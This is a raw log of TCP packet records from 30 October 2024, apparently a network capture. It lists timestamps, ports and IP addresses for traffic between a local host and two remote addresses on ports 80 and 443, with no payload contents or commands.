Oct 30, 2024 21:56:19.250220060 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.250596046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250607967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250617981 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250648975 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.250669956 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.251068115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251077890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251087904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251127005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.251154900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.251450062 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251458883 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251470089 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.251501083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.251530886 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.259072065 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.259157896 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.259238958 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.259522915 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.259556055 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.366549015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366559982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366570950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366611004 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366611958 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.366622925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366672993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.366842985 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366889000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366889954 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.366899014 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.366940022 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.367288113 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.367297888 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.367316008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.367330074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.367345095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.367377043 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.408426046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.408483982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.408660889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.408709049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.482927084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483046055 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483133078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483144999 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483155966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483191013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483232975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483237028 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483242989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483289003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483436108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483444929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483453989 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483494997 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483525038 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483834982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483848095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483856916 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.483911037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.483911037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.484185934 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.484241962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.484371901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.484425068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.565764904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.565850019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.565911055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.565922976 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.565984011 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.599838972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.599849939 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.599860907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.599870920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.599883080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.599910975 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.599942923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600136042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600147009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600158930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600186110 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600200891 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600203037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600212097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600241899 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600258112 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600826979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600847006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600858927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.600879908 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.600898981 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.682077885 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.682255030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.682316065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.682373047 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.716084957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716120005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716137886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716150999 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716164112 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716254950 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.716254950 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.716254950 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.716469049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716490984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716502905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716511965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.716567993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.717051983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.717067003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.717077971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.717087030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.717098951 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.717116117 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.717137098 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.717150927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.799041033 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.799113035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.799180984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.799228907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.831995964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832056999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.832216978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832227945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832237959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832247972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832257986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832269907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832281113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.832340956 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.832341909 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.832823992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832863092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832873106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.832878113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.832906961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.833211899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.833230972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.833241940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.833265066 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.833332062 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.833343029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.833353043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.833396912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.834052086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.834069967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.834104061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.834132910 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.884356976 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.884478092 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.885749102 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.885772943 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.885984898 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.887305021 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.887363911 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:19.887388945 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.915355921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.915494919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.915520906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.915550947 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.948436975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948455095 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948465109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948519945 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.948542118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948551893 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948561907 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.948563099 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.948586941 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.948616982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949109077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949119091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949130058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949140072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949167967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949217081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949711084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949753046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949764967 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949803114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949804068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949814081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949826002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.949850082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.949879885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.950400114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.950448036 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.950640917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.950692892 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.033221006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.033296108 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.033643007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.033687115 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.064846992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.064893007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.064910889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.064924002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.064933062 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.064933062 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065026999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065026999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065026999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065221071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065237999 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065273046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065303087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065466881 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065478086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065486908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065521955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065547943 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065782070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065814018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065824032 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065834999 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065840960 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065851927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065853119 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.065876961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.065905094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.066554070 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.066606045 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.066745043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.066797018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.066888094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.066896915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.066941977 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.148758888 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.148807049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.148889065 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.181679964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.181701899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.181715012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.181730032 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.181740046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.181760073 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.181816101 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.181988955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182038069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182040930 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.182049036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182060003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182089090 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.182111979 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.182531118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182547092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182557106 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182566881 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182576895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.182579994 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.182604074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.182630062 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.183212042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.183228016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.183238029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.183265924 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.183281898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.183542967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.183551073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.183598042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.265414000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.265465021 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.265511036 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.265675068 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.298692942 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.298760891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.298852921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.298865080 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.298876047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.298886061 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.298906088 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.298957109 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299000025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299009085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299019098 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299046993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299068928 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299305916 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299329996 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299340963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299355030 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299369097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299391031 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299678087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299689054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299699068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.299731016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.299748898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.300210953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.300259113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.300262928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.300309896 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.300311089 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.300333977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.300343990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.300359964 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.300373077 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.300393105 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.350347996 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350383997 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350403070 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350439072 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350440979 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.350454092 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350478888 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.350554943 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.350595951 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.350600958 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.351290941 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.351321936 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.351368904 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.351375103 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.351421118 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.415544987 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415575027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415587902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415601969 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415610075 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415627003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415679932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415767908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415813923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415817976 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415832043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415868998 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415894032 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415905952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415919065 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.415945053 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.415958881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.416651011 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.416697025 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.416702032 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.416708946 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.416738033 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.416748047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.416759968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.416760921 CET	80	50233	185.215.113.16	192.168.2.5
